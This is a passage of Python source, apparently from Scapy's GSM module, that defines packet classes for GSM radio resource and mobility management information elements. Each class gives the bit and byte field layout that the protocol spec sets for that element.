0x0, 2), BitField("rLinkTout", 0x0, 4) ] class CellOptionsSACCH(Packet): """ Cell Options (SACCH) Section 10.5.2.3a """ name = "Cell Options (SACCH)" fields_desc = [ BitField("dtx", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 0x0, 1), BitField("rLinkTout", 0x0, 4) ] class CellSelectionParameters(Packet): """ Cell Selection Parameters Section 10.5.2.4 """ name = "Cell Selection Parameters" fields_desc = [ BitField("cellReselect", 0x0, 3), BitField("msTxPwrMax", 0x0, 5), BitField("acs", None, 1), BitField("neci", None, 1), BitField("rxlenAccMin", None, 6) ] class MacModeAndChannelCodingRequest(Packet): """ MAC Mode and Channel Coding Requested Section 10.5.2.4a """ name = "MAC Mode and Channel Coding Requested" fields_desc = [ BitField("macMode", 0x0, 2), BitField("cs", 0x0, 2) ] class ChannelDescription(Packet): """ Channel Description Section 10.5.2.5 """ name = "Channel Description" fields_desc = [ BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x1, 1), BitField("maioHi", 0x0, 4), BitField("maioLo", 0x0, 2), BitField("hsn", 0x0, 6) ] class ChannelDescription2(Packet): """ Channel Description 2 Section 10.5.2.5a """ name = "Channel Description 2" fields_desc = [ BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h=1 # BitField("maioHi", 0x0, 4), # BitField("maioLo", 0x0, 2), # BitField("hsn", 0x0, 6) BitField("spare", 0x0, 2), BitField("arfcnHigh", 0x0, 2), ByteField("arfcnLow", 0x0) ] class ChannelMode(Packet): """ Channel Mode Section 10.5.2.6 """ name = "Channel Mode" fields_desc = [ ByteField("mode", 0x0) ] class ChannelMode2(Packet): """ Channel Mode 2 Section 10.5.2.7 """ name = "Channel Mode 2" fields_desc = [ ByteField("mode", 0x0) ] class ChannelNeeded(Packet): """ Channel Needed Section 10.5.2.8 """ name = "Channel Needed" fields_desc = [ BitField("channel2", 0x0, 2), BitField("channel1", 0x0, 2), ] class ChannelRequestDescription(Packet): """Channel Request Description Section 10.5.2.8a """ name = "Channel Request Description" fields_desc = [ BitField("mt", 0x0, 1), ConditionalField(BitField("spare", 0x0, 39), lambda pkt: pkt.mt == 0), ConditionalField(BitField("spare", 0x0, 3), lambda pkt: pkt.mt == 1), ConditionalField(BitField("priority", 0x0, 2), lambda pkt: pkt.mt == 1), ConditionalField(BitField("rlcMode", 0x0, 1), lambda pkt: pkt.mt == 1), ConditionalField(BitField("llcFrame", 0x1, 1), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandLsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcLsb", 0x0), lambda pkt: pkt.mt == 1) ] class CipherModeSetting(Packet): """Cipher Mode Setting Section 10.5.2.9 """ name = "Cipher Mode Setting" fields_desc = [ BitField("algoId", 0x0, 3), BitField("sc", 0x0, 1), ] class CipherResponse(Packet): """Cipher Response Section 10.5.2.10 """ name = "Cipher Response" fields_desc = [ BitField("spare", 0x0, 3), BitField("cr", 0x0, 1), ] class ControlChannelDescription(Packet): """Control Channel Description Section 10.5.2.11 """ name = "Control Channel Description" fields_desc = [ BitField("spare", 0x0, 1), BitField("att", 0x0, 1), BitField("bsAgBlksRes", 0x0, 3), BitField("ccchConf", 0x0, 3), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1), BitField("bsPaMfrms", 0x0, 3), ByteField("t3212", 0x0) ] class FrequencyChannelSequence(Packet): """Frequency Channel Sequence Section 10.5.2.12""" name = "Frequency Channel Sequence" fields_desc = [ BitField("spare", 0x0, 1), BitField("lowestArfcn", 0x0, 7), BitField("skipArfcn01", 0x0, 4), BitField("skipArfcn02", 0x0, 4), BitField("skipArfcn03", 0x0, 4), BitField("skipArfcn04", 0x0, 4), BitField("skipArfcn05", 0x0, 4), BitField("skipArfcn06", 0x0, 4), BitField("skipArfcn07", 0x0, 4), BitField("skipArfcn08", 0x0, 4), BitField("skipArfcn09", 0x0, 4), BitField("skipArfcn10", 0x0, 4), BitField("skipArfcn11", 0x0, 4), BitField("skipArfcn12", 0x0, 4), BitField("skipArfcn13", 0x0, 4), BitField("skipArfcn14", 0x0, 4), BitField("skipArfcn15", 0x0, 4), BitField("skipArfcn16", 0x0, 4) ] class FrequencyList(Packet): """Frequency List Section 10.5.2.13""" name = "Frequency List" # Problem: # There are several formats for the Frequency List information # element, distinguished by the "format indicator" subfield. # Some formats are frequency bit maps, the others use a special encoding # scheme. fields_desc = [ XByteField("lengthFL", None), BitField("formatID", 0x0, 2), BitField("spare", 0x0, 2), BitField("arfcn124", 0x0, 1), BitField("arfcn123", 0x0, 1), BitField("arfcn122", 0x0, 1), BitField("arfcn121", 0x0, 1), ByteField("arfcn120", 0x0), ByteField("arfcn112", 0x0), ByteField("arfcn104", 0x0), ByteField("arfcn96", 0x0), ByteField("arfcn88", 0x0), ByteField("arfcn80", 0x0), ByteField("arfcn72", 0x0), ByteField("arfcn64", 0x0), ByteField("arfcn56", 0x0), ByteField("arfcn48", 0x0), ByteField("arfcn40", 0x0), ByteField("arfcn32", 0x0), ByteField("arfcn24", 0x0), ByteField("arfcn16", 0x0), ByteField("arfcn8", 0x0) ] # len 4 to 13 class GroupChannelDescription(Packet): """Group Channel Description Section 10.5.2.14b""" name = "Group Channel Description" fields_desc = [ XByteField("lengthGCD", None), BitField("channelType", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h == 0 the packet looks the following way: ConditionalField(BitField("spare", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(BitField("arfcnHi", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(ByteField("arfcnLo", None), lambda pkt: pkt. h == 0x0), # if h == 1 the packet looks the following way: ConditionalField(BitField("maioHi", 0x0, 4), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("maioLo", None, 2), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("hsn", None, 6), lambda pkt: pkt. h == 0x1), # finished with conditional fields ByteField("maC6", None), ByteField("maC7", None), ByteField("maC8", None), ByteField("maC9", None), ByteField("maC10", None), ByteField("maC11", None), ByteField("maC12", None), ByteField("maC13", None), ByteField("maC14", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(4, 13, a, self.fields_desc, 1) if self.lengthGCD is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class GprsResumption(Packet): """GPRS Resumption Section 10.5.2.14c""" name = "GPRS Resumption" fields_desc = [ BitField("spare", 0x0, 3), BitField("ack", 0x0, 1) ] class HandoverReference(Packet): """Handover Reference Section 10.5.2.15""" name = "Handover Reference" fields_desc = [ ByteField("handoverRef", 0x0) ] class IraRestOctets(Packet): """IAR Rest Octets Section 10.5.2.17""" name = "IAR Rest Octets" fields_desc = [ BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), BitField("spare09", 0x0, 1), BitField("spare10", 0x0, 1), BitField("spare11", 0x1, 1), BitField("spare12", 0x0, 1), BitField("spare13", 0x1, 1), BitField("spare14", 0x0, 1), BitField("spare15", 0x1, 1), BitField("spare16", 0x1, 1), BitField("spare17", 0x0, 1), BitField("spare18", 0x0, 1), BitField("spare19", 0x1, 1), BitField("spare20", 0x0, 1), BitField("spare21", 0x1, 1), BitField("spare22", 0x0, 1), BitField("spare23", 0x1, 1), BitField("spare24", 0x1, 1) ] # len is 1 to 5 what do we do with the variable size? no lenght # field?! WTF class IaxRestOctets(Packet): """IAX Rest Octets Section 10.5.2.18""" name = "IAX Rest Octets" fields_desc = [ BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None) ] class L2PseudoLength(Packet): """L2 Pseudo Length Section 10.5.2.19""" name = "L2 Pseudo Length" fields_desc = [ BitField("l2pLength", None, 6), BitField("bit2", 0x0, 1), BitField("bit1", 0x1, 1) ] class MeasurementResults(Packet): """Measurement Results Section 10.5.2.20""" name = "Measurement Results" fields_desc = [ BitField("baUsed", 0x0, 1), BitField("dtxUsed", 0x0, 1), BitField("rxLevFull", 0x0, 6), BitField("spare", 0x0, 1), BitField("measValid", 0x0, 1), BitField("rxLevSub", 0x0, 6), BitField("spare0", 0x0, 1), BitField("rxqualFull", 0x0, 3), BitField("rxqualSub", 0x0, 3), BitField("noNcellHi", 0x0, 1), BitField("noNcellLo", 0x0, 2), BitField("rxlevC1", 0x0, 6), BitField("bcchC1", 0x0, 5), BitField("bsicC1Hi", 0x0, 3), BitField("bsicC1Lo", 0x0, 3), BitField("rxlevC2", 0x0, 5), BitField("rxlevC2Lo", 0x0, 1), BitField("bcchC2", 0x0, 5), BitField("bsicC2Hi", 0x0, 2), BitField("bscicC2Lo", 0x0, 4), BitField("bscicC2Hi", 0x0, 4), BitField("rxlevC3Lo", 0x0, 2), BitField("bcchC3", 0x0, 5), BitField("rxlevC3Hi", 0x0, 1), BitField("bsicC3Lo", 0x0, 5), BitField("bsicC3Hi", 0x0, 3), BitField("rxlevC4Lo", 0x0, 3), BitField("bcchC4", 0x0, 5), BitField("bsicC4", 0x0, 6), BitField("rxlevC5Hi", 0x0, 2), BitField("rxlevC5Lo", 0x0, 4), BitField("bcchC5Hi", 0x0, 4), BitField("bcchC5Lo", 0x0, 1), BitField("bsicC5", 0x0, 6), BitField("rxlevC6", 0x0, 1), BitField("rxlevC6Lo", 0x0, 5), BitField("bcchC6Hi", 0x0, 3), BitField("bcchC6Lo", 0x0, 3), BitField("bsicC6", 0x0, 5) ] class GprsMeasurementResults(Packet): """GPRS Measurement Results Section 10.5.2.20a""" name = "GPRS Measurement Results" fields_desc = [ BitField("cValue", 0x0, 6), BitField("rxqualHi", 0x0, 2), BitField("rxqL", 0x0, 1), BitField("spare", 0x0, 1), BitField("signVar", 0x0, 6) ] # len 3 to 10 class MobileAllocation(Packet): """Mobile Allocation Section 10.5.2.21""" name = "Mobile Allocation" fields_desc = [ XByteField("lengthMA", None), ByteField("maC64", 0x12), ByteField("maC56", None), # optional fields start here ByteField("maC48", None), ByteField("maC40", None), ByteField("maC32", None), ByteField("maC24", None), ByteField("maC16", None), ByteField("maC8", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 9, a, self.fields_desc, 1) if self.lengthMA is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class MobileTimeDifference(Packet): """Mobile Time Difference Section 10.5.2.21a""" name = "Mobile Time Difference" fields_desc = [ XByteField("lengthMTD", 0x5), ByteField("valueHi", 0x0), ByteField("valueCnt", 0x0), BitField("valueLow", 0x0, 5), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1) ] # min 4 octets max 8 class MultiRateConfiguration(Packet): """ MultiRate configuration Section 10.5.2.21aa""" name = "MultiRate Configuration" # This packet has a variable length and hence structure. This packet # implements the longuest possible packet. If you biuild a shorter # packet, for example having only 6 bytes, the last 4 bytes are named # "Spare" in the specs. Here they are named "threshold2" fields_desc = [ XByteField("lengthMRC", None), BitField("mrVersion", 0x0, 3), BitField("spare", 0x0, 1), BitField("icmi", 0x0, 1), BitField("spare", 0x0, 1), BitField("startMode", 0x0, 2), ByteField("amrCodec", None), BitField("spare", None, 2), BitField("threshold1", None, 6), BitField("hysteresis1", None, 4), BitField("threshold2", None, 4), BitField("threshold2cnt", None, 2), BitField("hysteresis2", None, 4), BitField("threshold3", None, 2), BitField("threshold3cnt", None, 4), BitField("hysteresis3", None, 4) ] def post_build(self, p, pay): # we set the length aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 7, a, self.fields_desc, 1) if self.lengthMRC is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 2 to 11 class MultislotAllocation(Packet): """Multislot Allocation Section 10.5.2.21b""" name = "Multislot Allocation" fields_desc = [ XByteField("lengthMSA", None), BitField("ext0", 0x1, 1), BitField("da", 0x0, 7), ConditionalField(BitField("ext1", 0x1, 1), # optional lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ua", 0x0, 7), lambda pkt: pkt.ext0 == 0), ByteField("chan1", None), ByteField("chan2", None), ByteField("chan3", None), ByteField("chan4", None), ByteField("chan5", None), ByteField("chan6", None), ByteField("chan7", None), ByteField("chan8", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(1, 11, a, self.fields_desc, 1) if res[0] is not 0: p = p[:-res[0]] if self.lengthMSA is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay class NcMode(Packet): """NC mode Section 10.5.2.21c""" name = "NC Mode" fields_desc = [ BitField("spare", 0x0, 2), BitField("ncMode", 0x0, 2) ] class NeighbourCellsDescription(Packet): """Neighbour Cells Description Section 10.5.2.22""" name = "Neighbour Cells Description" fields_desc = [ BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("extInd", 0x0, 1), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] class NeighbourCellsDescription2(Packet): """Neighbour Cells Description 2 Section 10.5.2.22a""" name = "Neighbour Cells Description 2" fields_desc = [ BitField("bit128", 0x0, 1), BitField("multiband", 0x0, 2), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] # len 4 # strange packet, lots of valid formats # ideas for the dynamic packets: # 1] for user interaction: Create an interactive "builder" based on a # Q/A process (not very scapy like) # 2] for usage in scripts, create an alternative packet for every # possible packet layout # class DedicatedModeOrTBF(Packet): """Dedicated mode or TBF Section 10.5.2.25b""" name = "Dedicated Mode or TBF" fields_desc = [ BitField("spare", 0x0, 1), BitField("tma", 0x0, 1), BitField("downlink", 0x0, 1), BitField("td", 0x0, 1) ] class PageMode(Packet): """Page Mode Section 10.5.2.26""" name = "Page Mode" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2) ] class NccPermitted(Packet): """NCC Permitted Section 10.5.2.27""" name = "NCC Permited" fields_desc = [ ByteField("nccPerm", 0x0) ] class PowerCommand(Packet): """Power Command Section 10.5.2.28""" name = "Power Command" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class PowerCommandAndAccessType(Packet): """Power Command and access type Section 10.5.2.28a""" name = "Power Command and Access Type" fields_desc = [ BitField("atc", 0x0, 1), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class RachControlParameters(Packet): """RACH Control Parameters Section 10.5.2.29""" name = "RACH Control Parameters" fields_desc = [ BitField("maxRetrans", 0x0, 2), BitField("txInteger", 0x0, 4), BitField("cellBarrAccess", 0x0, 1), BitField("re", 0x0, 1), BitField("ACC15", 0x0, 1), BitField("ACC14", 0x0, 1), BitField("ACC13", 0x0, 1), BitField("ACC12", 0x0, 1), BitField("ACC11", 0x0, 1), BitField("ACC10", 0x0, 1), BitField("ACC09", 0x0, 1), BitField("ACC08", 0x0, 1), BitField("ACC07", 0x0, 1), BitField("ACC06", 0x0, 1), BitField("ACC05", 0x0, 1), BitField("ACC04", 0x0, 1), BitField("ACC03", 0x0, 1), BitField("ACC02", 0x0, 1), BitField("ACC01", 0x0, 1), BitField("ACC00", 0x0, 1), ] class RequestReference(Packet): """Request Reference Section 10.5.2.30""" name = "Request Reference" fields_desc = [ ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class RrCause(Packet): """RR Cause Section 10.5.2.31""" name = "RR Cause" fields_desc = [ ByteField("rrCause", 0x0) ] class StartingTime(Packet): """Starting Time Section 10.5.2.38""" name = "Starting Time" fields_desc = [ ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class SynchronizationIndication(Packet): """Synchronization Indication Section 10.5.2.39""" name = "Synchronization Indication" fields_desc = [ BitField("nci", 0x0, 1), BitField("rot", 0x0, 1), BitField("si", 0x0, 2) ] class TimingAdvance(Packet): """Timing Advance Section 10.5.2.40""" name = "Timing Advance" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("timingVal", 0x0, 6) ] class TimeDifference(Packet): """ Time Difference Section 10.5.2.41""" name = "Time Difference" fields_desc = [ XByteField("lengthTD", 0x3), ByteField("timeValue", 0x0) ] class Tlli(Packet): """ TLLI Section Section 10.5.2.41a""" name = "TLLI" fields_desc = [ ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class TmsiPTmsi(Packet): """ TMSI/P-TMSI Section 10.5.2.42""" name = "TMSI/P-TMSI" fields_desc = [ ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class VgcsTargetModeIdentication(Packet): """ VGCS target Mode Indication 10.5.2.42a""" name = "VGCS Target Mode Indication" fields_desc = [ XByteField("lengthVTMI", 0x2), BitField("targerMode", 0x0, 2), BitField("cipherKeyNb", 0x0, 4), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1) ] class WaitIndication(Packet): """ Wait Indication Section 10.5.2.43""" name = "Wait Indication" fields_desc = [ # asciiart of specs strange ByteField("timeoutVal", 0x0) ] #class Si10RestOctets(Packet): # """SI10 rest octets 10.5.2.44""" # name = "SI10 rest octets" # fields_desc = [ # len 17 class ExtendedMeasurementResults(Packet): """EXTENDED MEASUREMENT RESULTS Section 10.5.2.45""" name = "Extended Measurement Results" fields_desc = [ BitField("scUsed", None, 1), BitField("dtxUsed", None, 1), BitField("rxLevC0", None, 6), BitField("rxLevC1", None, 6), BitField("rxLevC2Hi", None, 2), BitField("rxLevC2Lo", None, 4), BitField("rxLevC3Hi", None, 4), BitField("rxLevC3Lo", None, 3), BitField("rxLevC4", None, 5), BitField("rxLevC5", None, 6), BitField("rxLevC6Hi", None, 2), BitField("rxLevC6Lo", None, 4), BitField("rxLevC7Hi", None, 4), BitField("rxLevC7Lo", None, 2), BitField("rxLevC8", None, 6), BitField("rxLevC9", None, 6), BitField("rxLevC10Hi", None, 2), BitField("rxLevC10Lo", None, 4), BitField("rxLevC11Hi", None, 4), BitField("rxLevC13Lo", None, 2), BitField("rxLevC12", None, 6), BitField("rxLevC13", None, 6), BitField("rxLevC14Hi", None, 2), BitField("rxLevC14Lo", None, 4), BitField("rxLevC15Hi", None, 4), BitField("rxLevC15Lo", None, 2), BitField("rxLevC16", None, 6), BitField("rxLevC17", None, 6), BitField("rxLevC18Hi", None, 2), BitField("rxLevC18Lo", None, 4), BitField("rxLevC19Hi", None, 4), BitField("rxLevC19Lo", None, 2), BitField("rxLevC20", None, 6) ] # len 17 class ExtendedMeasurementFrequencyList(Packet): """Extended Measurement Frequency List Section 10.5.2.46""" name = "Extended Measurement Frequency List" fields_desc = [ BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare", 0x0, 1), BitField("seqCode", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("bitsRest", 0x0, 128) ] class SuspensionCause(Packet): """Suspension Cause Section 10.5.2.47""" name = "Suspension Cause" fields_desc = [ ByteField("suspVal", 0x0) ] class ApduID(Packet): """APDU Flags Section 10.5.2.48""" name = "Apdu Id" fields_desc = [ BitField("id", None, 4) ] class ApduFlags(Packet): """APDU Flags Section 10.5.2.49""" name = "Apdu Flags" fields_desc = [ BitField("spare", 0x0, 1), BitField("cr", 0x0, 1), BitField("firstSeg", 0x0, 1), BitField("lastSeg", 0x0, 1) ] # len 1 to max L3 (251) (done) class ApduData(Packet): """APDU Data Section 10.5.2.50""" name = "Apdu Data" fields_desc = [ XByteField("lengthAD", None), #optional ByteField("apuInfo1", None), ByteField("apuInfo2", None), ByteField("apuInfo3", None), ByteField("apuInfo4", None), ByteField("apuInfo5", None), ByteField("apuInfo6", None), ByteField("apuInfo7", None), ByteField("apuInfo8", None), ByteField("apuInfo9", None), ByteField("apuInfo10", None), ByteField("apuInfo11", None), ByteField("apuInfo12", None), ByteField("apuInfo13", None), ByteField("apuInfo14", None), ByteField("apuInfo15", None), ByteField("apuInfo16", None), ByteField("apuInfo17", None), ByteField("apuInfo18", None), ByteField("apuInfo19", None), ByteField("apuInfo20", None), ByteField("apuInfo21", None), ByteField("apuInfo22", None), ByteField("apuInfo23", None), ByteField("apuInfo24", None), ByteField("apuInfo25", None), ByteField("apuInfo26", None), ByteField("apuInfo27", None), ByteField("apuInfo28", None), ByteField("apuInfo29", None), ByteField("apuInfo30", None), ByteField("apuInfo31", None), ByteField("apuInfo32", None), ByteField("apuInfo33", None), ByteField("apuInfo34", None), ByteField("apuInfo35", None), ByteField("apuInfo36", None), ByteField("apuInfo37", None), ByteField("apuInfo38", None), ByteField("apuInfo39", None), ByteField("apuInfo40", None), ByteField("apuInfo41", None), ByteField("apuInfo42", None), ByteField("apuInfo43", None), ByteField("apuInfo44", None), ByteField("apuInfo45", None), ByteField("apuInfo46", None), ByteField("apuInfo47", None), ByteField("apuInfo48", None), ByteField("apuInfo49", None), ByteField("apuInfo50", None), ByteField("apuInfo51", None), ByteField("apuInfo52", None), ByteField("apuInfo53", None), ByteField("apuInfo54", None), ByteField("apuInfo55", None), ByteField("apuInfo56", None), ByteField("apuInfo57", None), ByteField("apuInfo58", None), ByteField("apuInfo59", None), ByteField("apuInfo60", None), ByteField("apuInfo61", None), ByteField("apuInfo62", None), ByteField("apuInfo63", None), ByteField("apuInfo64", None), ByteField("apuInfo65", None), ByteField("apuInfo66", None), ByteField("apuInfo67", None), ByteField("apuInfo68", None), ByteField("apuInfo69", None), ByteField("apuInfo70", None), ByteField("apuInfo71", None), ByteField("apuInfo72", None), ByteField("apuInfo73", None), ByteField("apuInfo74", None), ByteField("apuInfo75", None), ByteField("apuInfo76", None), ByteField("apuInfo77", None), ByteField("apuInfo78", None), ByteField("apuInfo79", None), ByteField("apuInfo80", None), ByteField("apuInfo81", None), ByteField("apuInfo82", None), ByteField("apuInfo83", None), ByteField("apuInfo84", None), ByteField("apuInfo85", None), ByteField("apuInfo86", None), ByteField("apuInfo87", None), ByteField("apuInfo88", None), ByteField("apuInfo89", None), ByteField("apuInfo90", None), ByteField("apuInfo91", None), ByteField("apuInfo92", None), ByteField("apuInfo93", None), ByteField("apuInfo94", None), ByteField("apuInfo95", None), ByteField("apuInfo96", None), ByteField("apuInfo97", None), ByteField("apuInfo98", None), ByteField("apuInfo99", None), ByteField("apuInfo100", None), ByteField("apuInfo101", None), ByteField("apuInfo102", None), ByteField("apuInfo103", None), ByteField("apuInfo104", None), ByteField("apuInfo105", None), ByteField("apuInfo106", None), ByteField("apuInfo107", None), ByteField("apuInfo108", None), ByteField("apuInfo109", None), ByteField("apuInfo110", None), ByteField("apuInfo111", None), ByteField("apuInfo112", None), ByteField("apuInfo113", None), ByteField("apuInfo114", None), ByteField("apuInfo115", None), ByteField("apuInfo116", None), ByteField("apuInfo117", None), ByteField("apuInfo118", None), ByteField("apuInfo119", None), ByteField("apuInfo120", None), ByteField("apuInfo121", None), ByteField("apuInfo122", None), ByteField("apuInfo123", None), ByteField("apuInfo124", None), ByteField("apuInfo125", None), ByteField("apuInfo126", None), ByteField("apuInfo127", None), ByteField("apuInfo128", None), ByteField("apuInfo129", None), ByteField("apuInfo130", None), ByteField("apuInfo131", None), ByteField("apuInfo132", None), ByteField("apuInfo133", None), ByteField("apuInfo134", None), ByteField("apuInfo135", None), ByteField("apuInfo136", None), ByteField("apuInfo137", None), ByteField("apuInfo138", None), ByteField("apuInfo139", None), ByteField("apuInfo140", None), ByteField("apuInfo141", None), ByteField("apuInfo142", None), ByteField("apuInfo143", None), ByteField("apuInfo144", None), ByteField("apuInfo145", None), ByteField("apuInfo146", None), ByteField("apuInfo147", None), ByteField("apuInfo148", None), ByteField("apuInfo149", None), ByteField("apuInfo150", None), ByteField("apuInfo151", None), ByteField("apuInfo152", None), ByteField("apuInfo153", None), ByteField("apuInfo154", None), ByteField("apuInfo155", None), ByteField("apuInfo156", None), ByteField("apuInfo157", None), ByteField("apuInfo158", None), ByteField("apuInfo159", None), ByteField("apuInfo160", None), ByteField("apuInfo161", None), ByteField("apuInfo162", None), ByteField("apuInfo163", None), ByteField("apuInfo164", None), ByteField("apuInfo165", None), ByteField("apuInfo166", None), ByteField("apuInfo167", None), ByteField("apuInfo168", None), ByteField("apuInfo169", None), ByteField("apuInfo170", None), ByteField("apuInfo171", None), ByteField("apuInfo172", None), ByteField("apuInfo173", None), ByteField("apuInfo174", None), ByteField("apuInfo175", None), ByteField("apuInfo176", None), ByteField("apuInfo177", None), ByteField("apuInfo178", None), ByteField("apuInfo179", None), ByteField("apuInfo180", None), ByteField("apuInfo181", None), ByteField("apuInfo182", None), ByteField("apuInfo183", None), ByteField("apuInfo184", None), ByteField("apuInfo185", None), ByteField("apuInfo186", None), ByteField("apuInfo187", None), ByteField("apuInfo188", None), ByteField("apuInfo189", None), ByteField("apuInfo190", None), ByteField("apuInfo191", None), ByteField("apuInfo192", None), ByteField("apuInfo193", None), ByteField("apuInfo194", None), ByteField("apuInfo195", None), ByteField("apuInfo196", None), ByteField("apuInfo197", None), ByteField("apuInfo198", None), ByteField("apuInfo199", None), ByteField("apuInfo200", None), ByteField("apuInfo201", None), ByteField("apuInfo202", None), ByteField("apuInfo203", None), ByteField("apuInfo204", None), ByteField("apuInfo205", None), ByteField("apuInfo206", None), ByteField("apuInfo207", None), ByteField("apuInfo208", None), ByteField("apuInfo209", None), ByteField("apuInfo210", None), ByteField("apuInfo211", None), ByteField("apuInfo212", None), ByteField("apuInfo213", None), ByteField("apuInfo214", None), ByteField("apuInfo215", None), ByteField("apuInfo216", None), ByteField("apuInfo217", None), ByteField("apuInfo218", None), ByteField("apuInfo219", None), ByteField("apuInfo220", None), ByteField("apuInfo221", None), ByteField("apuInfo222", None), ByteField("apuInfo223", None), ByteField("apuInfo224", None), ByteField("apuInfo225", None), ByteField("apuInfo226", None), ByteField("apuInfo227", None), ByteField("apuInfo228", None), ByteField("apuInfo229", None), ByteField("apuInfo230", None), ByteField("apuInfo231", None), ByteField("apuInfo232", None), ByteField("apuInfo233", None), ByteField("apuInfo234", None), ByteField("apuInfo235", None), ByteField("apuInfo236", None), ByteField("apuInfo237", None), ByteField("apuInfo238", None), ByteField("apuInfo239", None), ByteField("apuInfo240", None), ByteField("apuInfo241", None), ByteField("apuInfo242", None), ByteField("apuInfo243", None), ByteField("apuInfo244", None), ByteField("apuInfo245", None), ByteField("apuInfo246", None), ByteField("apuInfo247", None), ByteField("apuInfo248", None), ByteField("apuInfo249", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(1, 250, a, self.fields_desc, 1) if self.lengthAD is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # # 10.5.3 Mobility management information elements # # len 3 to L3 max (251) (done) class NetworkName(Packet): """Network Name Section 10.5.3.5a""" name = "Network Name" fields_desc = [ XByteField("lengthNN", None), BitField("ext", 0x1, 1), BitField("codingScheme", 0x0, 3), BitField("addCi", 0x0, 1), BitField("nbSpare", 0x0, 3), # optional ByteField("txtString1", None), ByteField("txtString2", None), ByteField("txtString3", None), ByteField("txtString4", None), ByteField("txtString5", None), ByteField("txtString6", None), ByteField("txtString7", None), ByteField("txtString8", None), ByteField("txtString9", None), ByteField("txtString10", None), ByteField("txtString11", None), ByteField("txtString12", None), ByteField("txtString13", None), ByteField("txtString14", None), ByteField("txtString15", None), ByteField("txtString16", None), ByteField("txtString17", None), ByteField("txtString18", None), ByteField("txtString19", None), ByteField("txtString20", None), ByteField("txtString21", None), ByteField("txtString22", None), ByteField("txtString23", None), ByteField("txtString24", None), ByteField("txtString25", None), ByteField("txtString26", None), ByteField("txtString27", None), ByteField("txtString28", None), ByteField("txtString29", None), ByteField("txtString30", None), ByteField("txtString31", None), ByteField("txtString32", None), ByteField("txtString33", None), ByteField("txtString34", None), ByteField("txtString35", None), 